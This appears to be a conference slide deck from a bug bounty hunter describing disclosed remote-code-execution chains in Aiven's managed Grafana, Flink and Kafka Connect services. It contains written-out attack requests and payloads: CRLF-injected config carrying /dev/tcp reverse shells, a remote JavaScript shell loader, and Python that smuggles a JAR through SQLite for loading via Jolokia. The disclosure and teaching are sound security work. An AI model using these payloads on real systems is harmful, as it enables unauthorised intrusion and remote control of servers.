Projects STRLCPY helsec-1103 Files
🤬
825 lines | UTF-8 | 17 KB

theme: ./theme colorSchema: light title: Hacking Aiven managed services for fun and profit

Hacking Aiven managed services for fun and profit

Jari Jääskelä, November 3. 2022, Helsec


layout: image-x image: 'img/stats.png' imageOrder: 2

# whoami

  • Bug Bounties since 2020
  • "Full-time" for awhile at the start of 2022

layout: intro

Overview

  • About Bug Bounties
  • Aiven Bug Bounty program
  • My approach for huntings bugs through few examples

What are Bug Bounties?

  • Hackers rewarded for discovering security issues
  • Reward based on impact

What is Aiven?

  • Managed service provider for Grafana, MySQL, PostgreSQL, etc ...
  • Managed services hosted in Google Cloud, AWS, DigitalOcean, ... (customer can configure)
    • Infrastructure exists under Aiven's cloud account
  • Customer does not have code execution access on managed services

Aiven Bug Bounty program


Aiven Bug Bounty program


Grafana RCE (1)

  • How the web backend updates the Grafana configuration?

Grafana RCE (2)

  • Let's look at the Grafana documentation

Grafana RCE (3)

  • Supports configuration via grafana.ini file:
app_mode = production
instance_name = ${HOSTNAME}
force_migration = false

[paths]
data = data
temp_data_lifetime = 24h
logs = data/log
plugins = data/plugins
provisioning = conf/provisioning
[server]
# Protocol (http, https, h2, socket)
protocol = http

Grafana RCE (3)

  • Likely Aiven creates grafana.ini dynamically from user input

Grafana RCE (4)

  • Q1: Can we edit unsupported configuration options by injecting newline characters?
  • Q2: How this could be escalated to Remote Command Execution (RCE)?

Grafana RCE (5) - Q1

  • Testing for CRLF injection (\r\n) AKA newline injection
  • Searched Aiven Github repositories in case something interesting was there
  • Found Service Configuration API input validation schema in Github ^1

Grafana RCE (6) - Q1

Example input validation entry:

"recovery_basebackup_name": {
  "example": "backup-20191112t091354293891z",
  "maxLength": 128,
  "pattern": "^[a-zA-Z0-9-_:.]+$",
  "title": "Name of the basebackup to restore in forked service",
  "type": "string"
}
  • Regex pattern validation
  • $ at the end == matches the end of the line == input cannot contain new line

Grafana RCE (7) - Q1

SMTP server parameters missing regex validation. CRLF injection possible!!!

  "smtp_server": {
    "additionalproperties": false,
    "properties": {
      "from_name": {
        "maxLength": 128,
        "type": [
          "string"
        ]
      },
      "host": {
        "maxLength": 255,
        "type": "string"
      },
      "password": {
        "maxLength": 255,
        "type": [
          "string"
        ]
      }
    }
  }

Grafana RCE (x)

  • Q1: Can we edit unsupported configuration options by injecting newline characters? ✅
  • Q2: How this could be escalated to Remote Command Execution (RCE)?

Grafana RCE (7) - Q2


Grafana RCE (8) - Q2


Grafana RCE (x)


Grafana RCE (x)

  • Verified that it works on local Grafana instance
  • How to establish reverse shell:
[plugin.grafana-image-renderer]
rendering_args=--renderer-cmd-prefix=bash -c bash -l > /dev/tcp/SERVER_IP/4444 0<&1 2>&1

Grafana RCE (9)

  • For some reason, could not pass white spaces, had to encode spaces using "$IFS"
  • IFS env variable - Internal Field Seperator - can be used as space substitute
[plugin.grafana-image-renderer]
rendering_args=--renderer-cmd-prefix=bash$IFS-l$IFS>$IFS/dev/tcp/SERVER_IP/4444$IFS0<&1$IFS2>&1

Grafana RCE (9)

PUT /v1/project/PROJECT_NAME/service/GRAFANA_INSTANCE_NAME HTTP/1.1
Host: console.aiven.io
Authorization: aivenv1 AIVEN_TOKEN_HERE
Content-Type: application/json

{
    "user_config": {
        "smtp_server": {
            "host": "example.org",
            "port": 1,
            "from_address": "[email protected]",
            "password": "x\r\n[plugin.grafana-image-renderer]\r\nrendering_args=--renderer-cmd-prefix=bash -c 
            bash$IFS-l$IFS>$IFS/dev/tcp/SERVER_IP/4444$IFS0<&1$IFS2>&1"
        }
    }
}

Grafana RCE (10)


Apache Flink RCE

  • Flink processes data from database, kafka or some other data source
  • User can submit jobs that process data - these are java applications (JAR files) that contain user code
  • Flink has Web UI and REST API

Apache Flink RCE

  • Aiven Flink Service does not allow running custom jobs
  • Only SQL queries
  • Web UI and REST API are accessible

Apache Flink RCE

  • Aiven blocked access to some REST API endpoints via reverse proxy rules (like uploading JAR files)
  • However, all GET operations were still allowed

Apache Flink RCE (2)

Apache Flink Rest API documentation:

  • Can specify java class name and class arguments !?! 🤔

Apache Flink RCE

  • Reviewed Flink source code to confirm how it works
  • Found that calls main(String[]) method of the entry-class with the programArg values:
private static void callMainMethod(Class<?> entryClass, String[] args) throws ProgramInvocationException {
    Method mainMethod;
    if (!Modifier.isPublic(entryClass.getModifiers())) {
        throw new ProgramInvocationException(
                "The class " + entryClass.getName() + " must be public.");
    }
    try {
        mainMethod = entryClass.getMethod("main", String[].class);
    } catch (NoSuchMethodException e) {
        throw new ProgramInvocationException(
                "The class " + entryClass.getName() + " has no main(String[]) method.");
    } catch (Throwable t) {
        // [...]
    }
}

Apache Flink RCE

  • How this can be used to execute arbitrary code on the Flink server?
  • Searching Java JDK for "main(String[]":
  • Found com.sun.tools.script.shell tool - same as the jrunscript command line tool

Apache Flink RCE


Apache Flink RCE

  • jrunscript uses Nashorn JavaScript engine
  • To make delivering reverse shell payload easier, why not load it from remote JavaScript file?

Apache Flink RCE

  • shell.js: ^1
var host = "https://evil.example.org";
var port = 8888;
var cmd = "/bin/bash";

var p = new java.lang.ProcessBuilder(cmd, "-i").redirectErrorStream(true) // [...]
GET /jars/145df7ff-c71a-4f3a-b77a-ee4055b1bede_a.jar/plan
?entry-class=com.sun.tools.script.shell.Main&programArg=-e,load("https://fs.bugbounty.jarijaas.fi/aiven-flink/shell-loader.js")
&parallelism=1 HTTP/1.1
Host: ████
Authorization: Basic █████

Apache Flink RCE


Kafka Connect RCE

  • Tool for streaming data between Kafka and other data systems
  • Streaming implemented using connectors
  • Supports 3rd party connectors
  • Connectors configurable via REST API
  • Sink Connector = sends data from Kafka to the sink data system
  • Source Connector = retrieves data from the source data system to Kafka

Kafka Connect RCE

  • Aiven supports interesting connectors, such as ^1:
Connector
JDBC Sink ConnectorConnect to database using JDBC driver
HTTP SinkSend data using HTTP request

Kafka Connect RCE

  • Found out that Jolokia is listening on localhost via logs
  • Jolokia is a HTTP bridge to JMX (Java Management Extension)

Kafka Connect RCE

  • HTTP sink connector does not check if destination is localhost -> can send HTTP POST requests to Jolokia
  • Can we use Jolokia to gain RCE?

Kafka Connect RCE

  • Jolokia exposes the following command:
"jvmtiAgentLoad": {
    "args": [{
        "name": "arguments",
        "type": "[Ljava.lang.String;",
        "desc": "Array of Diagnostic Commands Arguments and Options"
    }],
    "ret": "java.lang.String",
    "desc": "Load JVMTI native agent."
}
  • Can use this to load JAR files from the disk

Kafka Connect RCE

  • How can we upload JAR file to the server?

Kafka Connect RCE - What is a JAR file

  • ZIP file that contains the compiled java application code
  • JAR parsers, like ZIP parsers do not care if the JAR is inside another file format (just looks for file header signature: PK...)
  • Can embed JAR files inside another file format

Kafka Connect RCE - SQLite JDBC Driver

  • Bundled with Aiven JDBC sink connector
  • SQLite database files are stored locally, can specify database filepath via connection url

Connection URL:

jdbc:sqlite:/tmp/test.db

Kafka Connect RCE

  • Use JDBC sink connector and the SQLite JDBC driver to create db file
  • Create database table for the JAR and insert the JAR contents
  • Load the file as JAR using Jolokia jvmtiAgentLoad command

Kafka Connect RCE - JDBC SQLite config

connector_url = f"{kafka_connect_api_baseurl}/connectors/{connector_name}"

payload = json.dumps({
 "connector.class": "io.aiven.connect.jdbc.JdbcSinkConnector",
 "connection.url": f"jdbc:sqlite:/tmp/test.db",
 "name":connector_name,
 "topics": topic_name,
 "key.converter": "org.apache.kafka.connect.storage.StringConverter",
 "value.converter": "org.apache.kafka.connect.json.JsonConverter",
 "value.converter.schemas.enable": "true",
 "auto.create": "true" # Create tables automatically
})
headers = {
   'Content-Type': 'application/json'
}
requests.request("PUT", f"{connector_url}/config", headers=headers, data=payload, auth=(kafka_user, kafka_password))

Kafka Connect RCE - JDBC SQLite Kafka topic message

producer.send(topic_name, json.dumps(
 {
 "schema": {
     "type": "struct",
     "fields": [{
         "field": "payload",
         "type": "bytes",
         "optional": False
     }]
 },
 "payload": {
     # JsonConverter uses com.fasterxml.jackson, which supports binary values as base64 encoded string
     "payload": base64.b64encode(jar_contents).decode('utf-8') 
 }
 }
).encode('utf-8'))

Kafka Connect RCE


Kafka Connect RCE


That's it

  • Any questions?
Please wait...
Page is in error, reload to recover